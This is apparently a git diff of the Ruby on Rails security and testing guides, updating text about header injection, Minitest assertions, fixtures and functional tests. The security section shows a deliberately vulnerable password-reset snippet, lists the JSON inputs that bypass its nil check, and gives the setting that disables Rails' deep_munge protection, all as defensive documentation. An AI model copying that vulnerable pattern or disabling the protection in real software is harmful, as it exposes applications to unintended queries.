-So _attack vectors for Header Injection are based on the injection of CRLF characters in a header field._ And what could an attacker do with a false redirection? He could redirect to a phishing site that looks the same as yours, but asks to login again (and sends the login credentials to the attacker). Or he could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the `redirect_to` method. _Make sure you do it yourself when you build other header fields with user input._
+So _attack vectors for Header Injection are based on the injection of CRLF characters in a header field._ And what could an attacker do with a false redirection? They could redirect to a phishing site that looks the same as yours, but ask to login again (and sends the login credentials to the attacker). Or they could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the `redirect_to` method. _Make sure you do it yourself when you build other header fields with user input._
#### Response Splitting
@@ -1051,6 +921,49 @@ Content-Type: text/html
Under certain circumstances this would present the malicious HTML to the victim. However, this only seems to work with Keep-Alive connections (and many browsers are using one-time connections). But you can't rely on this. _In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks._
+Unsafe Query Generation
+-----------------------
+
+Due to the way Active Record interprets parameters in combination with the way
+that Rack parses query parameters it was possible to issue unexpected database
+queries with `IS NULL` where clauses. As a response to that security issue
+([CVE-2012-2660](https://groups.google.com/forum/#!searchin/rubyonrails-security/deep_munge/rubyonrails-security/8SA-M3as7A8/Mr9fi9X4kNgJ),
+[CVE-2012-2694](https://groups.google.com/forum/#!searchin/rubyonrails-security/deep_munge/rubyonrails-security/jILZ34tAHF4/7x0hLH-o0-IJ)
+and [CVE-2013-0155](https://groups.google.com/forum/#!searchin/rubyonrails-security/CVE-2012-2660/rubyonrails-security/c7jT-EeN9eI/L0u4e87zYGMJ))
+`deep_munge` method was introduced as a solution to keep Rails secure by default.
+
+Example of vulnerable code that could be used by attacker, if `deep_munge`
+wasn't performed is:
+
+```ruby
+unless params[:token].nil?
+ user = User.find_by_token(params[:token])
+ user.reset_password!
+end
+```
+
+When `params[:token]` is one of: `[]`, `[nil]`, `[nil, nil, ...]` or
+`['foo', nil]` it will bypass the test for `nil`, but `IS NULL` or
+`IN ('foo', NULL)` where clauses still will be added to the SQL query.
+
+To keep rails secure by default, `deep_munge` replaces some of the values with
+`nil`. Below table shows what the parameters look like based on `JSON` sent in
+request:
+
+| JSON | Parameters |
+|-----------------------------------|--------------------------|
+| `{ "person": null }` | `{ :person => nil }` |
+| `{ "person": [] }` | `{ :person => nil }` |
+| `{ "person": [null] }` | `{ :person => nil }` |
+| `{ "person": [null, null, ...] }` | `{ :person => nil }` |
+| `{ "person": ["foo", null] }` | `{ :person => ["foo"] }` |
+
+It is possible to return to old behaviour and disable `deep_munge` configuring
+your application if you are aware of the risk and know how to handle it:
+
+```ruby
+config.action_dispatch.perform_deep_munge = false
+```
Default Headers
---------------
@@ -1080,7 +993,7 @@ Or you can remove them.
config.action_dispatch.default_headers.clear
```
-Here is the list of common headers:
+Here is a list of common headers:
* X-Frame-Options
_'SAMEORIGIN' in Rails by default_ - allow framing on same domain. Set it to 'DENY' to deny framing at all or 'ALLOWALL' if you want to allow framing for all website.
@@ -1089,12 +1002,17 @@ _'1; mode=block' in Rails by default_ - use XSS Auditor and block page if XSS at
* X-Content-Type-Options
_'nosniff' in Rails by default_ - stops the browser from guessing the MIME type of a file.
* X-Content-Security-Policy
-[A powerful mechanism for controlling which sites certain content types can be loaded from](http://dvcs.w3.org/hg/content-security-policy/raw-file/tip/csp-specification.dev.html)
+[A powerful mechanism for controlling which sites certain content types can be loaded from](http://w3c.github.io/webappsec/specs/content-security-policy/csp-specification.dev.html)
* Access-Control-Allow-Origin
Used to control which sites are allowed to bypass same origin policies and send cross-origin requests.
* Strict-Transport-Security
[Used to control if the browser is allowed to only access a site over a secure connection](http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security)
+Environmental Security
+----------------------
+
+It is beyond the scope of this guide to inform you on how to secure your application code and environments. However, please secure your database configuration, e.g. `config/database.yml`, and your server-side secret, e.g. stored in `config/secrets.yml`. You may want to further restrict access, using environment-specific versions of these files and any others that may contain sensitive information.
+
Additional Resources
--------------------
diff --git a/guides/source/testing.md b/guides/source/testing.md
index a9bce04522..d54f431d54 100644
--- a/guides/source/testing.md
+++ b/guides/source/testing.md
@@ -1,8 +1,7 @@
A Guide to Testing Rails Applications
=====================================
-This guide covers built-in mechanisms offered by Rails to test your
-application.
+This guide covers built-in mechanisms in Rails for testing your application.
After reading this guide, you will know:
@@ -38,11 +37,11 @@ Rails creates a `test` folder for you as soon as you create a Rails project usin
```bash
$ ls -F test
-
-fixtures/ functional/ integration/ performance/ test_helper.rb unit/
+controllers/ helpers/ mailers/ test_helper.rb
+fixtures/ integration/ models/
```
-The `unit` directory is meant to hold tests for your models, the `functional` directory is meant to hold tests for your controllers, the `integration` directory is meant to hold tests that involve any number of controllers interacting, and the `performance` directory is meant for performance tests.
+The `models` directory is meant to hold tests for your models, the `controllers` directory is meant to hold tests for your controllers and the `integration` directory is meant to hold tests that involve any number of controllers interacting.
Fixtures are a way of organizing test data; they reside in the `fixtures` folder.
@@ -50,7 +49,9 @@ The `test_helper.rb` file holds the default configuration for your tests.
### The Low-Down on Fixtures
-For good tests, you'll need to give some thought to setting up test data. In Rails, you can handle this by defining and customizing fixtures.
+For good tests, you'll need to give some thought to setting up test data.
+In Rails, you can handle this by defining and customizing fixtures.
+You can find comprehensive documentation in the [Fixtures API documentation](http://api.rubyonrails.org/classes/ActiveRecord/FixtureSet.html).
#### What Are Fixtures?
@@ -65,19 +66,41 @@ YAML-formatted fixtures are a very human-friendly way to describe your sample da
Here's a sample YAML fixture file:
```yaml
-# lo & behold! I am a YAML comment!
+# lo & behold! I am a YAML comment!
david:
- name: David Heinemeier Hansson
- birthday: 1979-10-15
- profession: Systems development
+ name: David Heinemeier Hansson
+ birthday: 1979-10-15
+ profession: Systems development
steve:
- name: Steve Ross Kellock
- birthday: 1974-09-27
- profession: guy with keyboard
+ name: Steve Ross Kellock
+ birthday: 1974-09-27
+ profession: guy with keyboard
```
-Each fixture is given a name followed by an indented list of colon-separated key/value pairs. Records are typically separated by a blank space. You can place comments in a fixture file by using the # character in the first column.
+Each fixture is given a name followed by an indented list of colon-separated key/value pairs. Records are typically separated by a blank space. You can place comments in a fixture file by using the # character in the first column. Keys which resemble YAML keywords such as 'yes' and 'no' are quoted so that the YAML Parser correctly interprets them.
+
+If you are working with [associations](/association_basics.html), you can simply
+define a reference node between two different fixtures. Here's an example with
+a `belongs_to`/`has_many` association:
+
+```yaml
+# In fixtures/categories.yml
+about:
+ name: About
+
+# In fixtures/articles.yml
+one:
+ title: Welcome to Rails!
+ body: Hello world!
+ category: about
+```
+
+Note: For associations to reference one another by name, you cannot specify the `id:`
+ attribute on the fixtures. Rails will auto assign a primary key to be consistent between
+ runs. If you manually specify an `id:` attribute, this behavior will not work. For more
+ information on this association behavior please read the
+ [Fixtures API documentation](http://api.rubyonrails.org/classes/ActiveRecord/FixtureSet.html).
#### ERB'in It Up
@@ -86,14 +109,14 @@ ERB allows you to embed Ruby code within templates. The YAML fixture format is p
```erb
<% 1000.times do |n| %>
user_<%= n %>:
- username: <%= "user%03d" % n %>
- email: <%= "user%03d@example.com" % n %>
+ username: <%= "user#{n}" %>
+ email: <%= "user#{n}@example.com" %>
<% end %>
```
#### Fixtures in Action
-Rails by default automatically loads all fixtures from the `test/fixtures` folder for your unit and functional test. Loading involves three steps:
+Rails by default automatically loads all fixtures from the `test/fixtures` folder for your models and controllers test. Loading involves three steps:
* Remove any existing data from the table corresponding to the fixture
* Load the fixture data into the table
@@ -117,33 +140,32 @@ email(david.girlfriend.email, david.location_tonight)
Unit Testing your Models
------------------------
-In Rails, unit tests are what you write to test your models.
+In Rails, models tests are what you write to test your models.
-For this guide we will be using Rails _scaffolding_. It will create the model, a migration, controller and views for the new resource in a single operation. It will also create a full test suite following Rails best practices. I will be using examples from this generated code and will be supplementing it with additional examples where necessary.
+For this guide we will be using Rails _scaffolding_. It will create the model, a migration, controller and views for the new resource in a single operation. It will also create a full test suite following Rails best practices. We will be using examples from this generated code and will be supplementing it with additional examples where necessary.
-NOTE: For more information on Rails <i>scaffolding</i>, refer to [Getting Started with Rails](getting_started.html)
+NOTE: For more information on Rails _scaffolding_, refer to [Getting Started with Rails](getting_started.html)
When you use `rails generate scaffold`, for a resource among other things it creates a test stub in the `test/models` folder:
```bash
-$ rails generate scaffold post title:string body:text
+$ bin/rails generate scaffold article title:string body:text
...
-create app/models/post.rb
-create test/models/post_test.rb
-create test/fixtures/posts.yml
+create app/models/article.rb
+create test/models/article_test.rb
+create test/fixtures/articles.yml
...
```
-The default test stub in `test/models/post_test.rb` looks like this:
+The default test stub in `test/models/article_test.rb` looks like this:
```ruby
require 'test_helper'
-class PostTest < ActiveSupport::TestCase
- # Replace this with your real tests.
- test "the truth" do
- assert true
- end
+class ArticleTest < ActiveSupport::TestCase
+ # test "the truth" do
+ # assert true
+ # end
end
```
@@ -156,14 +178,15 @@ require 'test_helper'
As you know by now, `test_helper.rb` specifies the default configuration to run our tests. This is included with all the tests, so any methods added to this file are available to all your tests.
```ruby
-class PostTest < ActiveSupport::TestCase
+class ArticleTest < ActiveSupport::TestCase
```
-The `PostTest` class defines a _test case_ because it inherits from `ActiveSupport::TestCase`. `PostTest` thus has all the methods available from `ActiveSupport::TestCase`. You'll see those methods a little later in this guide.
+The `ArticleTest` class defines a _test case_ because it inherits from `ActiveSupport::TestCase`. `ArticleTest` thus has all the methods available from `ActiveSupport::TestCase`. You'll see those methods a little later in this guide.
-Any method defined within a `Test::Unit` test case that begins with `test` (case sensitive) is simply called a test. So, `test_password`, `test_valid_password` and `testValidPassword` all are legal test names and are run automatically when the test case is run.
+Any method defined within a class inherited from `Minitest::Test`
+(which is the superclass of `ActiveSupport::TestCase`) that begins with `test_` (case sensitive) is simply called a test. So, `test_password` and `test_valid_password` are legal test names and are run automatically when the test case is run.
-Rails adds a `test` method that takes a test name and a block. It generates a normal `Test::Unit` test with method names prefixed with `test_`. So,
+Rails adds a `test` method that takes a test name and a block. It generates a normal `Minitest::Unit` test with method names prefixed with `test_`. So,
```ruby
test "the truth" do
@@ -196,95 +219,68 @@ This line of code is called an _assertion_. An assertion is a line of code that
Every test contains one or more assertions. Only when all the assertions are successful will the test pass.
-### Preparing your Application for Testing
-
-Before you can run your tests, you need to ensure that the test database structure is current. For this you can use the following rake commands:
-
-```bash
-$ rake db:migrate
-...
-$ rake db:test:load
-```
-
-The `rake db:migrate` above runs any pending migrations on the _development_ environment and updates `db/schema.rb`. The `rake db:test:load` recreates the test database from the current `db/schema.rb`. On subsequent attempts, it is a good idea to first run `db:test:prepare`, as it first checks for pending migrations and warns you appropriately.
+### Maintaining the test database schema
-NOTE: `db:test:prepare` will fail with an error if `db/schema.rb` doesn't exist.
-
-#### Rake Tasks for Preparing your Application for Testing
-
-| Tasks | Description |
-| ------------------------------ | ------------------------------------------------------------------------- |
-| `rake db:test:clone` | Recreate the test database from the current environment's database schema |
-| `rake db:test:clone_structure` | Recreate the test database from the development structure |
-| `rake db:test:load` | Recreate the test database from the current `schema.rb` |
-| `rake db:test:prepare` | Check for pending migrations and load the test schema |
-| `rake db:test:purge` | Empty the test database. |
-
-TIP: You can see all these rake tasks and their descriptions by running `rake --tasks --describe`
+In order to run your tests, your test database will need to have the current structure. The test helper checks whether your test database has any pending migrations. If so, it will try to load your `db/schema.rb` or `db/structure.sql` into the test database. If migrations are still pending, an error will be raised.
### Running Tests
-Running a test is as simple as invoking the file containing the test cases through Ruby:
+Running a test is as simple as invoking the file containing the test cases through `rake test` command.
```bash
-$ ruby -Itest test/models/post_test.rb
-
-Loaded suite models/post_test
-Started
+$ bin/rake test test/models/article_test.rb
.
-Finished in 0.023513 seconds.
-1 tests, 1 assertions, 0 failures, 0 errors
-```
+Finished tests in 0.009262s, 107.9680 tests/s, 107.9680 assertions/s.
-This will run all the test methods from the test case. Note that `test_helper.rb` is in the `test` directory, hence this directory needs to be added to the load path using the `-I` switch.
+1 tests, 1 assertions, 0 failures, 0 errors, 0 skips
+```
-You can also run a particular test method from the test case by using the `-n` switch with the `test method name`.
+You can also run a particular test method from the test case by running the test and providing the `test method name`.
```bash
-$ ruby -Itest test/models/post_test.rb -n test_the_truth
-
-Loaded suite models/post_test
-Started
+$ bin/rake test test/models/article_test.rb test_the_truth
.
-Finished in 0.023513 seconds.
-1 tests, 1 assertions, 0 failures, 0 errors
+Finished tests in 0.009064s, 110.3266 tests/s, 110.3266 assertions/s.
+
+1 tests, 1 assertions, 0 failures, 0 errors, 0 skips
```
+This will run all test methods from the test case. Note that `test_helper.rb` is in the `test` directory, hence this directory needs to be added to the load path using the `-I` switch.
+
The `.` (dot) above indicates a passing test. When a test fails you see an `F`; when a test throws an error you see an `E` in its place. The last line of the output is the summary.
-To see how a test failure is reported, you can add a failing test to the `post_test.rb` test case.
+To see how a test failure is reported, you can add a failing test to the `article_test.rb` test case.
```ruby
-test "should not save post without title" do
- post = Post.new
- assert !post.save
+test "should not save article without title" do
+ article = Article.new
+ assert_not article.save
end
```
Let us run this newly added test.
```bash
-$ ruby unit/post_test.rb -n test_should_not_save_post_without_title
-Loaded suite -e
-Started
+$ bin/rake test test/models/article_test.rb test_should_not_save_article_without_title
F
-Finished in 0.102072 seconds.
+
+Finished tests in 0.044632s, 22.4054 tests/s, 22.4054 assertions/s.
1) Failure:
-test_should_not_save_post_without_title(PostTest) [/test/models/post_test.rb:6]:
-<false> is not true.
+test_should_not_save_article_without_title(ArticleTest) [test/models/article_test.rb:6]:
+Failed assertion, no message given.
-1 tests, 1 assertions, 1 failures, 0 errors
+1 tests, 1 assertions, 1 failures, 0 errors, 0 skips
```
In the output, `F` denotes a failure. You can see the corresponding trace shown under `1)` along with the name of the failing test. The next few lines contain the stack trace followed by a message which mentions the actual value and the expected value by the assertion. The default assertion messages provide just enough information to help pinpoint the error. To make the assertion failure message more readable, every assertion provides an optional message parameter, as shown here:
```ruby
-test "should not save post without title" do
- post = Post.new
- assert !post.save, "Saved the post without a title"
+test "should not save article without title" do
+ article = Article.new
+ assert_not article.save, "Saved the article without a title"
end
```
@@ -292,15 +288,14 @@ Running this test shows the friendlier assertion message:
```bash
1) Failure:
-test_should_not_save_post_without_title(PostTest) [/test/models/post_test.rb:6]:
-Saved the post without a title.
-<false> is not true.
+test_should_not_save_article_without_title(ArticleTest) [test/models/article_test.rb:6]:
+Saved the article without a title
```
Now to get this test to pass we can add a model level validation for the _title_ field.
```ruby
-class Post < ActiveRecord::Base
+class Article < ActiveRecord::Base
validates :title, presence: true
end
```
@@ -308,13 +303,12 @@ end
Now the test should pass. Let us verify by running the test again:
```bash
-$ ruby unit/post_test.rb -n test_should_not_save_post_without_title
-Loaded suite unit/post_test
-Started
+$ bin/rake test test/models/article_test.rb test_should_not_save_article_without_title
.
-Finished in 0.193608 seconds.
-1 tests, 1 assertions, 0 failures, 0 errors
+Finished tests in 0.047721s, 20.9551 tests/s, 20.9551 assertions/s.
+
+1 tests, 1 assertions, 0 failures, 0 errors, 0 skips
```
Now, if you noticed, we first wrote a test which fails for a desired functionality, then we wrote some code which adds the functionality and finally we ensured that our test passes. This approach to software development is referred to as _Test-Driven Development_ (TDD).
@@ -334,63 +328,88 @@ end
Now you can see even more output in the console from running the tests:
```bash
-$ ruby unit/post_test.rb -n test_should_report_error
-Loaded suite -e
-Started
+$ bin/rake test test/models/article_test.rb test_should_report_error
E
-Finished in 0.082603 seconds.
+
+Finished tests in 0.030974s, 32.2851 tests/s, 0.0000 assertions/s.
1) Error:
-test_should_report_error(PostTest):
-NameError: undefined local variable or method `some_undefined_variable' for #<PostTest:0x249d354>
- /test/models/post_test.rb:6:in `test_should_report_error'
+test_should_report_error(ArticleTest):
+NameError: undefined local variable or method `some_undefined_variable' for #<ArticleTest:0x007fe32e24afe0>
+ test/models/article_test.rb:10:in `block in <class:ArticleTest>'
-1 tests, 0 assertions, 0 failures, 1 errors
+1 tests, 0 assertions, 0 failures, 1 errors, 0 skips
```
Notice the 'E' in the output. It denotes a test with error.
NOTE: The execution of each test method stops as soon as any error or an assertion failure is encountered, and the test suite continues with the next method. All test methods are executed in alphabetical order.
+When a test fails you are presented with the corresponding backtrace. By default
+Rails filters that backtrace and will only print lines relevant to your
+application. This eliminates the framework noise and helps to focus on your
+code. However there are situations when you want to see the full
+backtrace. simply set the `BACKTRACE` environment variable to enable this
+behavior:
+
+```bash
+$ BACKTRACE=1 bin/rake test test/models/article_test.rb
+```
+
### What to Include in Your Unit Tests
Ideally, you would like to include a test for everything which could possibly break. It's a good practice to have at least one test for each of your validations and at least one test for every method in your model.
-### Assertions Available
+### Available Assertions
By now you've caught a glimpse of some of the assertions that are available. Assertions are the worker bees of testing. They are the ones that actually perform the checks to ensure that things are going as planned.
-There are a bunch of different types of assertions you can use. Here's the complete list of assertions that ship with `test/unit`, the default testing library used by Rails. The `[msg]` parameter is an optional string message you can specify to make your test failure messages clearer. It's not required.
+There are a bunch of different types of assertions you can use.
+Here's an extract of the assertions you can use with [`Minitest`](https://github.com/seattlerb/minitest), the default testing library used by Rails. The `[msg]` parameter is an optional string message you can specify to make your test failure messages clearer. It's not required.
| Assertion | Purpose |
| ---------------------------------------------------------------- | ------- |
-| `assert( boolean, [msg] )` | Ensures that the object/expression is true.|
+| `assert( test, [msg] )` | Ensures that `test` is true.|
+| `assert_not( test, [msg] )` | Ensures that `test` is false.|
| `assert_equal( expected, actual, [msg] )` | Ensures that `expected == actual` is true.|
| `assert_not_equal( expected, actual, [msg] )` | Ensures that `expected != actual` is true.|
| `assert_same( expected, actual, [msg] )` | Ensures that `expected.equal?(actual)` is true.|
-| `assert_not_same( expected, actual, [msg] )` | Ensures that `!expected.equal?(actual)` is true.|
+| `assert_not_same( expected, actual, [msg] )` | Ensures that `expected.equal?(actual)` is false.|
| `assert_nil( obj, [msg] )` | Ensures that `obj.nil?` is true.|
-| `assert_not_nil( obj, [msg] )` | Ensures that `!obj.nil?` is true.|
+| `assert_not_nil( obj, [msg] )` | Ensures that `obj.nil?` is false.|
+| `assert_empty( obj, [msg] )` | Ensures that `obj` is `empty?`.|
+| `assert_not_empty( obj, [msg] )` | Ensures that `obj` is not `empty?`.|
| `assert_match( regexp, string, [msg] )` | Ensures that a string matches the regular expression.|
| `assert_no_match( regexp, string, [msg] )` | Ensures that a string doesn't match the regular expression.|
-| `assert_in_delta( expecting, actual, delta, [msg] )` | Ensures that the numbers `expecting` and `actual` are within `delta` of each other.|
+| `assert_includes( collection, obj, [msg] )` | Ensures that `obj` is in `collection`.|
+| `assert_not_includes( collection, obj, [msg] )` | Ensures that `obj` is not in `collection`.|
+| `assert_in_delta( expecting, actual, [delta], [msg] )` | Ensures that the numbers `expected` and `actual` are within `delta` of each other.|
+| `assert_not_in_delta( expecting, actual, [delta], [msg] )` | Ensures that the numbers `expected` and `actual` are not within `delta` of each other.|
| `assert_throws( symbol, [msg] ) { block }` | Ensures that the given block throws the symbol.|
-| `assert_raise( exception1, exception2, ... ) { block }` | Ensures that the given block raises one of the given exceptions.|
+| `assert_raises( exception1, exception2, ... ) { block }` | Ensures that the given block raises one of the given exceptions.|
| `assert_nothing_raised( exception1, exception2, ... ) { block }` | Ensures that the given block doesn't raise one of the given exceptions.|
-| `assert_instance_of( class, obj, [msg] )` | Ensures that `obj` is of the `class` type.|
+| `assert_instance_of( class, obj, [msg] )` | Ensures that `obj` is an instance of `class`.|
+| `assert_not_instance_of( class, obj, [msg] )` | Ensures that `obj` is not an instance of `class`.|
| `assert_kind_of( class, obj, [msg] )` | Ensures that `obj` is or descends from `class`.|
-| `assert_respond_to( obj, symbol, [msg] )` | Ensures that `obj` has a method called `symbol`.|
-| `assert_operator( obj1, operator, obj2, [msg] )` | Ensures that `obj1.operator(obj2)` is true.|
+| `assert_not_kind_of( class, obj, [msg] )` | Ensures that `obj` is not an instance of `class` and is not descending from it.|
+| `assert_respond_to( obj, symbol, [msg] )` | Ensures that `obj` responds to `symbol`.|
+| `assert_not_respond_to( obj, symbol, [msg] )` | Ensures that `obj` does not respond to `symbol`.|
+| `assert_operator( obj1, operator, [obj2], [msg] )` | Ensures that `obj1.operator(obj2)` is true.|
+| `assert_not_operator( obj1, operator, [obj2], [msg] )` | Ensures that `obj1.operator(obj2)` is false.|
+| `assert_predicate ( obj, predicate, [msg] )` | Ensures that `obj.predicate` is true, e.g. `assert_predicate str, :empty?`|
+| `assert_not_predicate ( obj, predicate, [msg] )` | Ensures that `obj.predicate` is false, e.g. `assert_not_predicate str, :empty?`|
| `assert_send( array, [msg] )` | Ensures that executing the method listed in `array[1]` on the object in `array[0]` with the parameters of `array[2 and up]` is true. This one is weird eh?|
| `flunk( [msg] )` | Ensures failure. This is useful to explicitly mark a test that isn't finished yet.|
+The above are subset of assertions that minitest supports. For an exhaustive & more up-to-date list, please check [Minitest API documentation](http://docs.seattlerb.org/minitest/), specifically [`Minitest::Assertions`](http://docs.seattlerb.org/minitest/Minitest/Assertions.html)
+
Because of the modular nature of the testing framework, it is possible to create your own assertions. In fact, that's exactly what Rails does. It includes some specialized assertions to make your life easier.
NOTE: Creating your own assertions is an advanced topic that we won't cover in this tutorial.
### Rails Specific Assertions
-Rails adds some custom assertions of its own to the `test/unit` framework:
+Rails adds some custom assertions of its own to the `minitest` framework:
| Assertion | Purpose |
| --------------------------------------------------------------------------------- | ------- |
@@ -398,8 +417,8 @@ Rails adds some custom assertions of its own to the `test/unit` framework:
| `assert_no_difference(expressions, message = nil, &amp;block)` | Asserts that the numeric result of evaluating an expression is not changed before and after invoking the passed in block.|
| `assert_recognizes(expected_options, path, extras={}, message=nil)` | Asserts that the routing of the given path was handled correctly and that the parsed options (given in the expected_options hash) match path. Basically, it asserts that Rails recognizes the route given by expected_options.|
| `assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)` | Asserts that the provided options can be used to generate the provided path. This is the inverse of assert_recognizes. The extras parameter is used to tell the request the names and values of additional request parameters that would be in a query string. The message parameter allows you to specify a custom error message for assertion failures.|
-| `assert_response(type, message = nil)` | Asserts that the response comes with a specific status code. You can specify `:success` to indicate 200-299, `:redirect` to indicate 300-399, `:missing` to indicate 404, or `:error` to match the 500-599 range|
-| `assert_redirected_to(options = {}, message=nil)` | Assert that the redirection options passed in match those of the redirect called in the latest action. This match can be partial, such that `assert_redirected_to(controller: "weblog")` will also match the redirection of `redirect_to(controller: "weblog", action: "show")` and so on.|
+| `assert_response(type, message = nil)` | Asserts that the response comes with a specific status code. You can specify `:success` to indicate 200-299, `:redirect` to indicate 300-399, `:missing` to indicate 404, or `:error` to match the 500-599 range. You can also pass an explicit status number or its symbolic equivalent. For more information, see [full list of status codes](http://rubydoc.info/github/rack/rack/master/Rack/Utils#HTTP_STATUS_CODES-constant) and how their [mapping](http://rubydoc.info/github/rack/rack/master/Rack/Utils#SYMBOL_TO_STATUS_CODE-constant) works.|
+| `assert_redirected_to(options = {}, message=nil)` | Assert that the redirection options passed in match those of the redirect called in the latest action. This match can be partial, such that `assert_redirected_to(controller: "weblog")` will also match the redirection of `redirect_to(controller: "weblog", action: "show")` and so on. You can also pass named routes such as `assert_redirected_to root_path` and Active Record objects such as `assert_redirected_to @article`.|
| `assert_template(expected = nil, message=nil)` | Asserts that the request was rendered with the appropriate template file.|
You'll see the usage of some of these assertions in the next chapter.
@@ -419,24 +438,26 @@ You should test for things such as:
* was the correct object stored in the response template?
* was the appropriate message displayed to the user in the view?
-Now that we have used Rails scaffold generator for our `Post` resource, it has already created the controller code and tests. You can take look at the file `posts_controller_test.rb` in the `test/controllers` directory.
+Now that we have used Rails scaffold generator for our `Article` resource, it has already created the controller code and tests. You can take look at the file `articles_controller_test.rb` in the `test/controllers` directory.
-Let me take you through one such test, `test_should_get_index` from the file `posts_controller_test.rb`.
+Let me take you through one such test, `test_should_get_index` from the file `articles_controller_test.rb`.
```ruby
-test "should get index" do
- get :index
- assert_response :success
- assert_not_nil assigns(:posts)
+class ArticlesControllerTest < ActionController::TestCase
+ test "should get index" do
+ get :index
+ assert_response :success
+ assert_not_nil assigns(:articles)
+ end
end
```
-In the `test_should_get_index` test, Rails simulates a request on the action called `index`, making sure the request was successful and also ensuring that it assigns a valid `posts` instance variable.
+In the `test_should_get_index` test, Rails simulates a request on the action called `index`, making sure the request was successful and also ensuring that it assigns a valid `articles` instance variable.
The `get` method kicks off the web request and populates the results into the response. It accepts 4 arguments:
* The action of the controller you are requesting. This can be in the form of a string or a symbol.
-* An optional hash of request parameters to pass into the action (eg. query string parameters or post variables).
+* An optional hash of request parameters to pass into the action (eg. query string parameters or article variables).
* An optional hash of session variables to pass along with the request.
* An optional hash of flash values.
@@ -452,17 +473,17 @@ Another example: Calling the `:view` action, passing an `id` of 12 as the `param
get(:view, {'id' => '12'}, nil, {'message' => 'booya!'})
```
-NOTE: If you try running `test_should_create_post` test from `posts_controller_test.rb` it will fail on account of the newly added model level validation and rightly so.
+NOTE: If you try running `test_should_create_article` test from `articles_controller_test.rb` it will fail on account of the newly added model level validation and rightly so.
-Let us modify `test_should_create_post` test in `posts_controller_test.rb` so that all our test pass:
+Let us modify `test_should_create_article` test in `articles_controller_test.rb` so that all our test pass:
```ruby
-test "should create post" do
- assert_difference('Post.count') do
- post :create, post: {title: 'Some title'}
+test "should create article" do
+ assert_difference('Article.count') do
+ post :create, article: {title: 'Some title'}
end
- assert_redirected_to post_path(assigns(:post))
+ assert_redirected_to article_path(assigns(:article))
end
```
@@ -485,7 +506,7 @@ NOTE: Functional tests do not verify whether the specified request type should b
### The Four Hashes of the Apocalypse
-After a request has been made by using one of the 5 methods (`get`, `post`, etc.) and processed, you will have 4 Hash objects ready for use:
+After a request has been made using one of the 6 methods (`get`, `post`, etc.) and processed, you will have 4 Hash objects ready for use:
* `assigns` - Any objects that are stored as instance variables in actions for use in views.
* `cookies` - Any cookies that are set.
@@ -511,6 +532,23 @@ You also have access to three instance variables in your functional tests:
* `@request` - The request
* `@response` - The response
+### Setting Headers and CGI variables
+
+[HTTP headers](http://tools.ietf.org/search/rfc2616#section-5.3)
+and
+[CGI variables](http://tools.ietf.org/search/rfc3875#section-4.1)
+can be set directly on the `@request` instance variable:
+
+```ruby
+# setting a HTTP Header
+@request.headers["Accept"] = "text/plain, text/html"
+get :index # simulate the request with custom header
+
+# setting a CGI variable
+@request.headers["HTTP_REFERER"] = "http://example.com/home"
+post :create # simulate the request with custom env variable
+```
+
### Testing Templates and Layouts
If you want to make sure that the response rendered the correct template and layout, you can use the `assert_template`
@@ -554,12 +592,12 @@ is the correct way to assert for the layout when the view renders a partial with
Here's another example that uses `flash`, `assert_redirected_to`, and `assert_difference`:
```ruby
-test "should create post" do
- assert_difference('Post.count') do
- post :create, post: {title: 'Hi', body: 'This is my first post.'}
+test "should create article" do
+ assert_difference('Article.count') do
+ post :create, article: {title: 'Hi', body: 'This is my first article.'}
end
- assert_redirected_to post_path(assigns(:post))
- assert_equal 'Post was successfully created.', flash[:notice]
+ assert_redirected_to article_path(assigns(:article))
+ assert_equal 'Article was successfully created.', flash[:notice]
end
```
@@ -567,13 +605,13 @@ end
Testing the response to your request by asserting the presence of key HTML elements and their content is a useful way to test the views of your application. The `assert_select` assertion allows you to do this by using a simple yet powerful syntax.
-NOTE: You may find references to `assert_tag` in other documentation, but this is now deprecated in favor of `assert_select`.
+NOTE: You may find references to `assert_tag` in other documentation. This has been removed in 4.2. Use `assert_select` instead.
There are two forms of `assert_select`:
-`assert_select(selector, [equality], [message])` ensures that the equality condition is met on the selected elements through the selector. The selector may be a CSS selector expression (String), an expression with substitution values, or an `HTML::Selector` object.
+`assert_select(selector, [equality], [message])` ensures that the equality condition is met on the selected elements through the selector. The selector may be a CSS selector expression (String) or an expression with substitution values.
-`assert_select(element, selector, [equality], [message])` ensures that the equality condition is met on all the selected elements through the selector starting from the _element_ (instance of `HTML::Node`) and its descendants.
+`assert_select(element, selector, [equality], [message])` ensures that the equality condition is met on all the selected elements through the selector starting from the _element_ (instance of `Nokogiri::XML::Node` or `Nokogiri::XML::NodeSet`) and its descendants.
For example, you could verify the contents on the title element in your response with:
@@ -603,17 +641,17 @@ assert_select "ol" do
end
```
-The `assert_select` assertion is quite powerful. For more advanced usage, refer to its [documentation](http://api.rubyonrails.org/classes/ActionDispatch/Assertions/SelectorAssertions.html).
+The `assert_select` assertion is quite powerful. For more advanced usage, refer to its [documentation](https://github.com/rails/rails-dom-testing/blob/master/lib/rails/dom/testing/assertions/selector_assertions.rb).
#### Additional View-Based Assertions
There are more assertions that are primarily used in testing views:
-| Assertion | Purpose |
-| ---------------------------------------------------------- | ------- |
-| `assert_select_email` | Allows you to make assertions on the body of an e-mail. |
-| `assert_select_encoded` | Allows you to make assertions on encoded HTML. It does this by un-encoding the contents of each element and then calling the block with all the un-encoded elements.|
-| `css_select(selector)` or `css_select(element, selector)` | Returns an array of all the elements selected by the _selector_. In the second variant it first matches the base _element_ and tries to match the _selector_ expression on any of its children. If there are no matches both variants return an empty array.|
+| Assertion | Purpose |
+| --------------------------------------------------------- | ------- |
+| `assert_select_email` | Allows you to make assertions on the body of an e-mail. |
+| `assert_select_encoded` | Allows you to make assertions on encoded HTML. It does this by un-encoding the contents of each element and then calling the block with all the un-encoded elements.|
+| `css_select(selector)` or `css_select(element, selector)` | Returns an array of all the elements selected by the _selector_. In the second variant it first matches the base _element_ and tries to match the _selector_ expression on any of its children. If there are no matches both variants return an empty array.|
Here's an example of using `assert_select_email`:
@@ -631,7 +669,7 @@ Integration tests are used to test the interaction among any number of controlle
Unlike Unit and Functional tests, integration tests have to be explicitly created under the 'test/integration' folder within your application. Rails provides a generator to create an integration test skeleton for you.
```bash
-$ rails generate integration_test user_flows
+$ bin/rails generate integration_test user_flows
exists test/integration/
